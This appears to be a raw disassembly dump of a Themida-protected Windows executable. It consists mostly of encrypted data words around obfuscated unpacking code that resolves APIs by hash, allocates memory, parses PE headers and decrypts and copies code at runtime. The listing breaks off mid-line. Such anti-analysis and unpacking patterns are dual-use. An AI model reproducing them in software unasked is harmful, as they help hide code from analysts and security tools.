58062BD3h, 59EBCDEh, 0F8D9A960h, 359Eh dd 0A513B500h, 7D299244h, 3F458D25h, 57E5037Ch, 6E76224Ah dd 0E9AC0897h, 9CB744DAh, 0FDBD14BEh, 0D01443A9h, 58062EEEh dd 20BBD7F9h, 0F8D9AB45h, 9FB9h, 0C412D000h, 0F4E2AFF7h dd 5EF6C312h, 0C12B5AB2h, 0EE9A23B4h, 225F0FE6h, 0A7640B86h dd 52696D78h, 7E3D99A6h, 250A162Ch, 3D351F2h, 1C8A66B8h dd 35552C74h, 0B6DBECB3h, 7E464C7Bh, 0EC9827B1h, 88216594h dd 0F257E7F3h, 0D6A9370Bh, 0DF77F8FBh, 0B00DCA97h, 6756815Eh dd 0A7FF6589h, 74826C3Eh, 61Fh, 0E83A8557h, 0A3F5C80Bh dd 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h, 923F1C6Eh dd 0E0F8D527h, 26B08DDFh, 0AF374395h, 0CF9C3A9h, 75DCD758h dd 0A6F8C512h, 0D8F90DC9h, 3EF749E1h, 0AFF7C412h, 0E7FBE1E7h dd 0E70F51F1h, 6F464EB8h, 0B7D2E613h, 0F90433F4h, 0AE8CDEDDh dd 3Bh, 0F7C41205h, 23983E4Bh, 4F6C6A77h, 7D4296A3h, 0B8DA7CD1h dd 0A36B8339h, 0F1E7B79Dh, 74A3CB51h, 0ACC6022h, 34E0D9FCh dd 1AF244DCh, 5181854Dh, 0CE66BE6Ah, 17939Fh, 12EA0000h dd 54BF7C4h, 51F1E822h, 36CE8CB0h, 0F1C91BA0h, 0DC0BB424h dd 0F7C412F5h, 2DD13F4Bh, 0EBDBDFE5h, 0DCA957EAh, 1296C5F6h dd 0DDAA2EAh, 0F149F5C4h, 9C1FB7C2h, 52696D4Ah, 842C9AA6h dd 0B027653Ch, 1E1EDDFAh, 1B72116Eh, 0D90813E8h, 0D664CDD3h dd 1FEC5E06h, 55D908B3h, 0B15D5E78h, 0F0C90C59h, 93431058h dd 1218E028h, 5E28D72Ch, 0D9E91840h, 2B31DAFCh, 5E28D745h dd 0CB805D2h, 6FC6EEB4h, 0BF9FDE46h, 1AD45BEh, 8FD787F5h dd 1B6A2A89h, 0F7C79E64h, 0C99A8EA5h, 7653D706h, 5CB4605Dh dd 61F9C40Fh, 754E7583h, 78867032h, 4D7h, 30823D9Fh, 0EB3D8053h dd 0A5F7C40Eh, 5AAC0DC8h, 11635A7Dh, 7D0E0D8h, 4A8764B6h dd 98401D6Fh, 0DEF8D527h, 0F77F8BDDh, 0CFB0BF1h, 0BD241F58h dd 0A5F7C412h, 65AD0EC8h, 0D17D3E98h, 0D3E04A79h, 0A870B803h dd 0F1E7BCA2h, 79A8D051h, 0BD859D0Fh, 0F1E7D1B7h, 8EBDE551h dd 0F0E61E3Ch, 2A3B79CBh, 0D4FEEDF2h, 4Bh, 0F9A513EBh dd 0CDEEE4B1h, 949AC921h, 0E554238Eh, 0F0E2AF57h, 98C71FCBh dd 0D7A4EC14h, 566CBE01h, 58063572h, 1AA53300h, 0DCE7166Eh dd 250B11FAh, 39580635h, 4F277911h, 349B8187h, 87AF5806h dd 348B4D58h, 4257A88h, 17D10000h, 1A8B4940h, 7EADDD0Dh dd 0AC586373h, 0CED4379Fh, 51F293E8h dd 0EA3CD4FCh, 98734A12h, 8C5491Fh, 0CEF7DD63h, 838951F2h dd 51F2CE9Dh, 9BC389B1h, 4CF4626Ch, 206BFE04h, 0B1D957E6h dd 0A730FD05h, 0E3126A16h, 6FFBD9Fh, 27944258h, 58656E7Bh dd 0D00754ACh, 67CB41EDh, 0DDFFC62Bh, 0D63F26BDh, 3CBFF8D8h dd 0D6000000h, 32874A17h, 338BF903h, 3E437D5Ch, 8D13E38Fh dd 51F2E5A7h, 0B3FB93BBh, 0E600EAADh, 0F8DBB857h, 3B812DC5h dd 58070159h, 8B004264h, 0F8D8D8DAh, 9D20B784h, 0C4086Eh dd 121F0000h, 5B4147C4h, 6F51F1E8h, 0E7AB9197h, 97BF51F1h dd 0AEBB67FFh, 0DBE89429h, 714C0FBh, 849AECCFh, 51F1ECA8h dd 0A4F6C511h, 0E4D7FFCCh, 0A6B1E038h, 0D3DF8B30h, 6B71B965h dd 57E53DC8h, 19E62E56h, 0C0D0FFBEh, 82CA76E4h, 0FAF4F97Ch dd 0D9F8C55Dh, 52DB1E0h, 24E5F0BDh, 1CD4381Eh, 8C244C5Eh dd 4D8A575Dh, 7D5B2870h, 26031342h, 0D42E0CB1h, 2538950Bh dd 3052D3Bh, 6B710000h, 0AE250254h, 0F2E0BD0Fh, 3B9A77C9h dd 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h, 0A7F9C612h dd 5DAF0CCAh, 0DDC3C951h, 0F1580CFCh, 0C5128FF6h, 7F2B8E43h dd 7F478F27h, 0F1E79379h, 507FA751h, 48736340h, 0A5133DF6h dd 7FC8E23Ah, 851DF087h, 1374373Dh, 0F3C057E5h, 63F21BE5h dd 904E1033h, 0C5F44CF8h, 276D1941h, 5805FD45h, 776C2E50h dd 0F8D9DCEEh, 8934A370h, 0ECF45Ah, 1FEC0000h, 15905B8h dd 4F17EBD2h, 0F1E86349h, 3D9A7751h, 0E47CD480h, 0D02CAAB5h dd 10C229EFh, 50A7FFABh, 6E35FA6Ch, 45CE03FDh, 2AE46DEh dd 2FDBE2F5h, 0F2070DE9h, 0A6607651h, 8CE4902Dh, 11C5A2F4h dd 84F2FEAAh, 0F5CC94DCh, 0BCBEC16h, 0DF3F9A2h, 2151F229h dd 0BE1461F9h, 0CAF951FDh, 0E579E386h, 2C8A7157h, 0C1FCD71Bh dd 15EF756Ah, 7C532B7Dh, 0B5D46413h, 997F85D6h, 0AD580675h dd 31A0ED85h, 5584DC88h, 0E931DD4Bh, 0FB49BFE3h, 0DF274F5Dh dd 0A6F8C512h, 0D1AF0EC9h, 3894B53Bh, 0E0DAE8D2h, 96000001h dd 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h, 0CF085A63h dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h dd 580CFE02h, 17B41B16h, 0E728E4Ah, 42EDDBA4h, 0EF47F38Bh dd 9B22B5C0h, 516A6C49h, 0C41246FFh, 983E4BF7h, 31F9D123h dd 0F1E8452Bh, 0DA315951h, 707778BAh, 0F601305Ch, 0BC93DBE0h dd 52EA0C09h, 52383EA8h, 6651F220h, 0D77A63Eh, 9C369301h dd 656B731Fh, 51F2207Fh, 3BD36B93h, 4002EDF3h, 0C68E57E5h dd 63FDAC0h, 0DD07EE58h, 7305348Ch, 5ADE0DA5h, 8F318632h dd 6E9D39F3h, 61A8268h, 0F9C40F58h, 6F555B33h, 8358061Ah dd 0D92BC35Bh, 97DF8FFDh, 0F9666E91h, 28D4FC5Dh, 8B4BBB1Bh dd 767C8430h, 5E1A4690h, 4CE47CA4h, 84C62AA0h, 135B0371h dd 0D93EA0Dh, 0FE507864h, 0BE06B521h, 740AF0F6h, 0F61E642Eh dd 88505DC7h, 94368B37h, 23983EF6h, 0D787F5D1h, 0A916C28Fh dd 7076A5FDh, 21947F6Ah, 1D658D6Ah, 35305646h, 166E1AA1h dd 0E2C942BFh, 9A3C49B3h, 0B850696Ch, 7515B70Ch, 66AE52C0h dd 0B504D19Eh, 0E0D9FC09h, 0EAD51948h, 0F870359Eh, 34A27ED0h dd 5E77448Ch, 9EBFA5ABh, 0ABD37056h, 0E00F6713h, 0A17FD4DAh dd 4971764Fh, 7546909Dh, 537E4B23h, 3362BA66h, 610DAE28h dd 20A08259h, 0DA318C4Bh, 0E1F2CA0Bh, 0D11544DCh, 8E4A075Dh dd 43EFCC06h, 711DA236h, 0B10ACC19h, 4C0EB005h, 3753B76Dh dd 90E2D9FDh, 509823B3h, 0C06C4F83h, 0E5CCB2B8h, 0B8E0AEABh dd 7A87F120h, 0C2A8AE5Bh, 4FAEABE5h, 348C3883h, 2AE466Eh dd 0B54F0BADh, 6B489A21h, 413A916Bh, 2B4395E7h, 10D9E793h dd 11000000h, 65567C49h, 0AB88F9DFh, 0B6E50DAEh, 127DE4CFh dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 81E28952h dd 4C2h, 4EA8300h, 31241433h, 14332414h, 0D9685C24h, 89000064h ; --------------------------------------------------------------------------- adc al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esi mov esi, 75862EBEh shr esi, 1 add esi, 71F04C96h xor esi, 0AAA866F3h mov edx, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], edx pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_5509FF ; --------------------------------------------------------------------------- fndisi push 0FFFFFFB8h mov [eax], ebx sbb eax, [esi] add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 52h, 73h, 0DEh dd 95C42B02h, 0F226FC66h, 6E0BA671h, 7F452E7Bh, 0DFF5F66Bh dd 0D1421908h, 665DB95Dh, 3ACC0802h, 1787D614h, 0EB1013h dd 59F79E73h, 7116451Fh, 0E2D23A2Bh, 0A1288F7Fh, 4871F763h dd 0C7843A4Fh, 4DFE5917h, 7EAA0E7Bh, 0A0379444h, 5CC6B329h dd 5E87Ah, 882E0000h, 8B5C2444h, 81F85ECBh, 5B1AC6h, 5E900h dd 0DE210000h, 33AF8643h, 8E8DBh, 0D1960000h, 11C11FA1h dd 0FE9D567h, 0F6000000h, 44BE2D0Dh, 2AFE02h, 0D262860Ch dd 0FF5802ABh, 815F3334h, 1F3BBBEFh, 0EF81F55Ah, 0BE943C9h dd 0F781B2B2h, 2452A450h, 665760B4h, 48FCE8Bh, 12B7B91Eh dd 8B662346h, 0DFEB81C7h, 8132619Dh, 7CFFC7C0h, 0DBC38110h dd 0BA32619Dh, 355D384Eh, 0A570FB81h, 850FFFFFh, 0FFFFFFB3h dd 1B01BA66h, 0DE8h, 2CAD3100h, 4D64CB70h, 238199BCh, 0BF0F8F86h dd 0BE665BF3h, 0C381DE5Dh, 5A0Ch, 5E6392BEh, 1656BA72h dd 0C0800000h, 0E93B8BCFh, 8, 5EE187D9h, 60F89E4Dh, 0CF09C781h dd 0C781301Bh, 7DCBFE4Ah, 0BC88166h, 0C5EF81D5h, 0E9449A12h dd 0Ch, 70155674h, 0D7BCE37Ah, 0FD99D02Dh, 0BF0F3B89h dd 0C3EB81C0h, 0FC17ABCAh, 0CABFC381h, 0EE917ABh, 0C3000000h dd 3F4C4EA8h, 53C1D1B6h, 771AC9B5h, 1EA810Eh, 0F000000h dd 0E85h, 31B96600h, 1FE9CAh, 0AD8F0000h, 0B03243EAh, 0FF83E94Fh dd 0D263FFFFh, 53080C02h, 72FA1032h, 0F2C6C4F8h, 7798089Bh dd 3F8D8D7Ch, 0F061B1Bh, 8D89C3BFh, 6143229h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 39C35242h, 2B7DFB62h dd 0D20F0671h, 30D9B531h, 85C70614h, 614064Dh, 5EA4h, 0E9EB8166h dd 7185C711h, 61426h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0E3A6C351h, 0F81CCB48h dd 2E91B5FFh, 76B20614h, 236195FFh, 6AF80614h, 6995FF00h dd 8B061411h, 0D10BEBC0h, 2E05A293h, 0A109449Bh, 19E952E7h dd 0C1000000h, 6B227Fh, 5 dup(0) ; --------------------------------------------------------------------------- jmp loc_5BABDF ; --------------------------------------------------------------------------- push 61B1CAEh jmp loc_5509FF ; --------------------------------------------------------------------------- push 61B1D17h jmp loc_5509FF ; --------------------------------------------------------------------------- push 61B1E4Eh jmp loc_5509FF ; --------------------------------------------------------------------------- db 0A2h dd 5633853Ah, 11EE407Dh, 0CBA8FAC1h, 805DAF0Ah, 0DB146657h dd 0B904D3DDh, 72478A67h, 2A954320h, 0E0DBFBD8h, 0F4FA828Eh dd 580D030Eh, 0D4A12722h, 0B70FBB04h, 4F17A188h, 0F1E86349h dd 204F7751h, 8D46C215h, 83509830h, 85F1AA54h, 73D9F752h dd 0A8D72FDBh, 16A5313Eh, 0D67AE8C4h, 0A716C18Eh, 0A073595Fh dd 5F8751F2h, 65242A30h, 9957E5D5h, 84B30CCCh, 0C390D800h dd 0A3FBA712h, 0E2C40A74h, 0ED5806B4h, 0E5584017h, 0F028D029h dd 1ED36FC1h, 9F6A5056h, 567E5806h, 3AAABB27h, 0A354F8D9h dd 6B000002h, 0AD26BD1h, 0F1E81E04h, 0DB0A3251h, 73BB63D1h dd 0C6F3DEABh, 2085397h, 875457E5h, 0BD41704Bh, 35A0F495h dd 0BDB52868h, 0C8B7E04Fh, 0D783389Ah, 0A64E287Fh, 1B81966h dd 1D65FD55h, 5E51F017h, 0B25E865Bh, 408838A6h, 912CAB78h dd 6D291E62h, 335B6172h, 44B81EEBh, 0AA2BF540h, 8F20B80Fh dd 0BE96E880h, 29D5E4F1h, 3F97A2D1h, 0B3E49E7Ch, 2B15351Eh dd 2AA1Dh, 0A31CC000h, 5E5F7451h, 18A32F0Ch, 0CDECE9C6h dd 84399E7Bh, 0F1BFF932h, 0A885D7E6h, 613E9029h, 19F64877h dd 0A0ACFEBDh, 42C1218h, 4540580Dh, 0F9A513DEh, 261ABB1h dd 52D57EAh, 0D6E7F0BDh, 0DD30A784h, 0D02F1D7h, 45DD0558h dd 0F37A26FDh, 3A03BAD7h, 7A5BA10Bh, 0FD580DC9h, 8804E2D9h dd 853EA42Dh, 2418D9Bh, 0B3290000h, 0F6DDBA0Ch, 3A9875C7h dd 83522F81h, 0D007E436h, 56629BEDh, 0EE407D5Ah, 0A7F9C011h dd 5FB10ECAh, 15675482h, 957B8109h, 0A9580D04h, 0A51347AEh dd 61ABB1F9h, 2D57EA02h, 0E2F0BD05h, 0FA40AAD9h, 580D0318h dd 4A410123h, 0F8D2D31Bh, 16DE3h, 0C412FA00h, 983E4BF7h dd 87F5D123h, 0F6898FD7h, 6457E538h, 684A903Ch, 73580618h dd 0CB9A3151h, 33F8D9BDh, 48h, 8299542Bh, 0F6850F4Ah, 1645DDE2h dd 8C4A172Fh, 0FBE1E72Fh, 0F51F1E7h, 40AEB8E7h, 7F424890h dd 4D57E503h, 51337925h, 5C580603h, 0E283183Ah, 7CF8D9D6h dd 0EC8AEB4h, 0B4DC5806h, 0C11F85h, 4A170000h, 1D043388h dd 9442C412h, 0FF162668h, 0ED85E43Fh, 6A092A41h, 0AEC012EAh dd 5F367E16h, 50816FAEh, 0E65BD69h, 1948FB58h, 8835A2AFh dd 0FF07CFDCh, 4C3238D3h, 6051F2E0h, 9CF4A038h, 8B4B5804h dd 0CC64577Bh, 0E5A4647Ah, 0F1E551F2h, 2E9C78CAh, 8B40BCDh dd 0CAD018B0h, 57E7BA31h, 5E2B739Bh, 94468579h, 66C9469Bh dd 389F7CCEh, 65EFA785h, 48323EA8h, 10A3Ah, 437C6000h dd 0FEBF14F1h, 0B803CFACh, 6D4C8966h, 24993E1Bh, 911F99D2h dd 48257746h, 1DE3089h, 0B996E8D7h, 404C9E1Dh, 5CCB2B8h dd 0E5E0580Dh, 894A177Eh, 0DDFA0534h, 7A12AD2Bh, 7B8B4B28h dd 5EB6625Dh, 12BB74C6h, 3E4BF7C4h, 0F9D12398h, 6511AA2Ch dd 0A718C00Dh, 6A74A3FBh, 60C54FCh, 57E5549Bh, 0B009CCA9h dd 0D403D018h, 9F8197E9h, 24580635h, 0EAC109B2h, 70E7410Ah dd 0D1E11093h, 2EDAE3F4h, 8220h, 0A5137700h, 1CE9B1F9h dd 92D605B6h, 57EA025Ch, 2F3CE810h, 0EAC214A7h, 0AC03BA1Dh dd 3B9183B0h, 6B76A5CAh, 0B49AA06Bh, 0C8580D80h, 0E9C008A0h dd 0FF204B41h, 6ED80708h, 0E41F9628h, 32FA1242h, 0D1DC105Bh dd 11972809h, 0C546EF2Bh, 96E8173Fh, 259640F4h, 0D3F906DDh dd 6346471Ah, 8F472434h, 6273802Ch, 3DC935A2h, 4FD1DC40h dd 7521B951h, 28DC7E20h, 0DEBB0DAEh, 917C3F8h, 3, 127DE460h dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 767D68h dd 240C8900h, 5B3768h, 24148900h, 81E78957h, 4C7h, 4EF8100h dd 87000000h, 895C243Ch, 6851242Ch, 6C566C4Eh, 81240C8Bh dd 4C4h, 0E9814100h, 663B50BFh, 6859CA89h, 0AD9h, 81242489h dd 42404h, 835D0000h, 148904ECh, 8458F24h, 51242C8Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 34FF5C24h, 0C4835A24h, 5E29E904h dd 5325FFF9h, 177A3C19h ; --------------------------------------------------------------------------- xchg eax, ebp dec eax std loc_5BABDF: ; CODE XREF: Themida_:005BA74Cj mov eax, 61B1F7Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 32E42E66h, 7D45359Eh, 1E4E1043h, 17F6E4C6h, 3552FC37h dd 717A7B05h, 1EB74961h, 1B431EA2h, 519664BBh, 437C1E94h dd 24C91B6Eh, 25354F8Ch, 34229BC6h, 75FCC10Ah, 7B4BE3F4h dd 1085AF3Ah, 5FF29F38h, 64A6D233h, 470103F1h, 1FE2448h dd 0C062839h, 1BB91C58h, 6348F6B7h, 68ED5AA4h, 24403590h dd 1286C62Fh, 0EE8h, 58841300h, 90277518h, 9670A1C8h, 8B98F420h dd 820F5EFBh, 0 ; --------------------------------------------------------------------------- add esi, 6D29h mov di, 0D73Dh push 1B1Fh mov bx, 0EF39h pop eax and edi, 589BBC1Dh ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BAC86: ; CODE XREF: sub_5BACFA+2j push dword ptr [esi] jmp loc_5BAC95 ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- db 0F1h, 58h, 7Fh dd 54737E5Bh db 6Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BAC95: ; CODE XREF: sub_5BACFA-72j pop ecx stc xor ecx, 14D69B04h adc edi, 40967493h add ecx, 5B515A9Fh push edi jmp loc_5BACBA ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- test al, 0BBh pop edx sub ds:0F12C3CEBh, ch mov bl, 4Eh ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BACBA: ; CODE XREF: sub_5BACFA-50j pop ebx add ecx, 100CAD1Bh cld mov [esi], ecx jmp loc_5BACD5 ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- db 0F8h, 13h, 0C5h dd 0F24CB34Fh, 0CE3FD4F9h db 0A8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BACD5: ; CODE XREF: sub_5BACFA-36j sub esi, 2 pusha sub ebx, 47213782h popa dec esi dec esi call sub_5BACFA mov edi, ebp dec ebp mov ebx, 4D118749h cmpsd sub [edi], eax inc ebx mov ecx, 8AAA102h adc eax, ebp ; END OF FUNCTION CHUNK FOR sub_5BACFA ; =============== S U B R O U T I N E ======================================= sub_5BACFA proc near ; CODE XREF: sub_5BACFA-18p ; FUNCTION CHUNK AT 005BAC86 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005BAC95 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005BACBA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005BACD5 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005BAD33 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005BAD64 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005BAD71 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005BAD9C SIZE 000001D1 BYTES ; FUNCTION CHUNK AT 005BAF72 SIZE 00000052 BYTES pop ebx dec eax jnz loc_5BAC86 mov di, 0CCD4h call near ptr loc_5BAD19+1 lea ebx, [edx+4Ah] dec eax test al, 1Dh ; CODE XREF: sub_5BACFA+17j db 65h jz short near ptr loc_5BAD0F+1 fstp dword ptr [edx+7Eh] jl short loc_5BAD71 loc_5BAD19: ; CODE XREF: sub_5BACFA+Cp and [ebx-7499A72Dh], cl sub_5BACFA endp ; sp-analysis failed retf ; --------------------------------------------------------------------------- add eax, 6FDDh mov edx, 4338F0ECh mov edi, 0 add dl, 5Ah ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BAD33: ; CODE XREF: sub_5BACFA+89j mov ebx, [eax+edi] movzx ecx, bx sub ebx, 608366CAh cld sub ebx, 265E7C2Bh or dh, 0A6h xor ebx, 14A14E94h push ebx movsx edx, di pop dword ptr [eax+edi] jmp loc_5BAD64 ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- db 12h dd 2A61FD17h, 0C0ECA379h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BAD64: ; CODE XREF: sub_5BACFA+5Cj pusha push edi jmp near ptr loc_5BAD72+1 ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- dec edx aad 0B6h das push esi ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BAD71: ; CODE XREF: sub_5BACFA+1Dj outsb loc_5BAD72: ; CODE XREF: sub_5BACFA+6Cj db 3Eh pop edx mov di, dx popa sub edi, 4 mov ecx, edi cmp edi, 0FFFF90B0h jnz loc_5BAD33 jmp loc_5BAD9C ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- dw 0A744h dd 3485C9B6h, 3B9A5C25h, 7C60BDBFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BAD9C: ; CODE XREF: sub_5BACFA+8Fj mov eax, eax cmp dword ptr [ebp+61430B1h], 0 jnz short loc_5BADB0 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5BADC9 loc_5BADB0: ; CODE XREF: sub_5BACFA+ABj push eax push ebx mov eax, eax mov eax, 421h mov [ebp+6141A49h], eax lea ebx, [ebp+616B73Ah] call ebx pop ebx pop eax loc_5BADC9: ; CODE XREF: sub_5BACFA+B4j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5BADE9 push eax push ebx mov eax, 421h mov [ebp+6141A49h], eax lea ebx, [ebp+616B429h] call ebx pop ebx pop eax loc_5BADE9: ; CODE XREF: sub_5BACFA+D6j mov eax, eax mov ebx, [ebp+61424F9h] mov byte ptr [ebp+6141A59h], 56h push 9CA8B852h push dword ptr [ebp+6141AD1h] lea eax, [ebp+61780DBh] call eax push 4 push 1000h push dword ptr [ebp+6141911h] push 0 call eax test eax, eax jnz loc_5BAE31 mov eax, 0 lea ecx, [ebp+61470F0h] jmp ecx ; --------------------------------------------------------------------------- loc_5BAE31: ; CODE XREF: sub_5BACFA+124j mov ecx, eax mov eax, ebx add eax, [eax+3Ch] add eax, 0F8h mov edx, [eax+0Ch] add edx, ebx cmp dword ptr [ebp+6141135h], 0 jz loc_5BAE5D mov ebx, [ebp+6141135h] mov eax, [ebp+61421ADh] mov [ebx], eax loc_5BAE5D: ; CODE XREF: sub_5BACFA+14Fj push ecx push edx lea eax, [ebp+6147989h] call eax mov edi, edx mov esi, ecx mov edx, ecx mov ecx, eax rep movsb mov byte ptr [ebp+6141A59h], 56h push 0D41F6D39h push dword ptr [ebp+6141AD1h] lea eax, [ebp+61780DBh] call eax push 8000h push 0 push edx call eax mov eax, eax cmp dword ptr [ebp+61430B1h], 0 jnz short loc_5BAEA9 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5BAEC2 loc_5BAEA9: ; CODE XREF: sub_5BACFA+1A4j push eax push ebx mov eax, eax mov eax, 421h mov [ebp+61430C1h], eax lea ebx, [ebp+616B7A1h] call ebx pop ebx pop eax loc_5BAEC2: ; CODE XREF: sub_5BACFA+1ADj cmp dword ptr [ebp+6141AE1h], 0 jz short loc_5BAEE2 push eax push ebx mov eax, 421h mov [ebp+61430C1h], eax lea ebx, [ebp+616B442h] call ebx pop ebx pop eax loc_5BAEE2: ; CODE XREF: sub_5BACFA+1CFj mov eax, eax lea ebx, [ebp+6141135h] mov eax, [ebx] or eax, eax jz loc_5BAEFB mov eax, [ebx] mov ebx, [ebx+4] mov [eax], ebx loc_5BAEFB: ; CODE XREF: sub_5BACFA+1F4j mov eax, 4B41h call near ptr loc_5BAF0E+1 fimul word ptr [edi] call far ptr 0C88Eh:27739F6Ch loc_5BAF0E: ; CODE XREF: sub_5BACFA+206p fist word ptr [edx+0Fh] mov bh, 0D2h pop esi pop eax sub dh, 53h add eax, 6B1Bh mov edx, 6CE32680h mov ebx, 1A9Fh ja loc_5BAF38 pusha mov ecx, eax and edi, 26640F65h popa loc_5BAF38: ; CODE XREF: sub_5BACFA+22Ej ; sub_5BACFA+2A2j push dword ptr [eax] cld pop edi mov dl, 5Bh sub edi, 692B7349h mov cx, 89C6h add edi, 1C640377h jno loc_5BAF60 jb loc_5BAF60 jp $+6 loc_5BAF60: ; CODE XREF: sub_5BACFA+254j ; sub_5BACFA+25Aj add edi, 58C5C9F7h pusha cmc jmp loc_5BAF72 ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- db 7Ah, 93h, 9Dh ; --------------------------------------------------------------------------- jg short loc_5BAFA8 ; START OF FUNCTION CHUNK FOR sub_5BACFA loc_5BAF72: ; CODE XREF: sub_5BACFA+26Ej popa push edi xor esi, 5B22E04Bh pop dword ptr [eax] mov cl, 0C5h sub eax, 59712865h push ecx js loc_5BAF91 jno $+6 loc_5BAF91: ; CODE XREF: sub_5BACFA+28Bj pop ecx add eax, 59712861h sbb dl, 0F9h dec ebx jnz loc_5BAF38 adc edx, 3E698B95h loc_5BAFA8: ; CODE XREF: Themida_:005BAF70j call near ptr loc_5BAFB6+2 and ecx, [ebp+11h] cmp ecx, esp and al, 64h adc al, 77h loc_5BAFB6: ; CODE XREF: sub_5BACFA:loc_5BAFA8p fadd dword ptr [edi+esi*4+0F575810h] mov edi, 0C0815BD0h fsubrp st(1), st ; END OF FUNCTION CHUNK FOR sub_5BACFA ; --------------------------------------------------------------------------- dd 0F9510000h, 0F22FBF5Eh, 0C7810599h, 0FA664622h, 11E9h dd 78812C00h, 0B6E7C53Bh, 0B772D309h, 920399DEh, 88BBA1Bh dd 0FD692BBAh, 9AF1810Ah, 0E964E3ECh, 0Bh, 0A279CB13h dd 0F55E9923h, 81D7B95Eh, 579B5CC1h, 58A0F0Fh, 66000000h dd 35FAC381h, 4C81F181h, 5E8255Fh, 1D000000h, 98F5481Dh dd 0ECACBA66h, 0B70F515Bh, 83008FDFh, 0F78B02E8h, 81664848h dd 83930FD6h, 850F01EFh, 0FFFFFFA2h, 0E9D68B66h, 22h, 45A39C40h dd 7 dup(0) dd 1BE90000h, 0AA000005h, 5E3B8D32h, 19F64875h, 0D3B002B9h dd 8865B702h, 0E31C6E4Fh, 0C1FCDBD5h, 7A3F926Fh, 328D4B28h dd 0E8D303E0h, 0FC028A96h, 580D0C16h, 17C82F2Ah, 7AA7E40h dd 76CD74F7h, 88F921F8h, 0EEF92838h, 1A27D3E8h, 0D6AE00BDh dd 0C27923FFh, 165E77C2h, 0F2912A10h, 0E7163E51h, 15C1FADCh dd 41EDCE08h, 54656C39h, 54B91A25h, 0F291684Eh, 0BC547C51h dd 14369A10h, 4606F6E0h, 62F9B25h, 6E335CDh, 0BE9BEDD2h dd 905DA51Ah, 71C97546h, 6CBD842h, 5CB207B3h, 0C9A88E94h dd 94BC51F2h, 0BD771365h, 7552A41Bh, 8F2EA561h, 71348BE3h dd 0E2A8F2F5h, 4B1860F8h, 2B832F8Ah, 19C5FADEh, 0E22892C1h dd 51F228FFh, 0B02B677Bh, 0FEEDB0B5h, 4C49h, 0C4126000h dd 76434BF7h, 0E82C5B60h, 51F1E804h, 0B72C6E82h, 0FEEDF1AEh dd 150h, 0C1126700h, 7B4850FCh, 2B366558h, 5C6915A8h, 87944079h dd 0B6C36F4Ah, 0CFEEE91Bh, 0B5198B37h, 0FA5E1495h, 8E2FA458h dd 8F775F3Ch, 89DB7346h, 0F8C512D0h, 0FCE2E8B0h, 1051F1E7h dd 424FB9E8h, 0E802C91h, 8354E8AAh, 0CB0BE83Ah, 743C44F0h dd 0F1E8886Eh, 45749C51h, 0DB23983Ah, 769A9504h, 0F524218Ch dd 0A0E2048Bh, 0ED2F4A2Bh, 6A6734FEh, 1C4BA34Fh, 79B6h dd 4A17CD00h, 0F8033287h, 2A32DEDFh, 9945745Dh, 0CB071241h dd 0E8543A40h, 406851F1h, 0E9EFFCA8h, 1C222AD6h, 51F1E836h dd 0FED5224Ah, 3DA113BFh, 0CEE69C1Dh, 0B9CEAF7h, 0A5F2E9D2h dd 87DF8B32h, 0B0440658h, 6C449627h, 7CE369Fh, 166E1AB2h dd 0C2FBDCE7h, 0EDCC0916h, 0FA98BA41h, 0ED7794E1h, 488AFEh dd 12A10000h, 3F4CF8C5h, 467A2699h, 0CB0C2062h, 8C249B3Dh dd 0C112813Ah, 270A50FCh, 0A351F1E8h, 5A3C13DBh, 0AC541BEAh dd 62E8CE54h, 0D4FC51F2h, 23753A5h, 0A65CA235h, 30C48795h dd 0A91544DCh, 0FEED01BCh, 142h, 0C0125900h, 1EEBB3FBh dd 997F05BAh, 0AD51F1E7h, 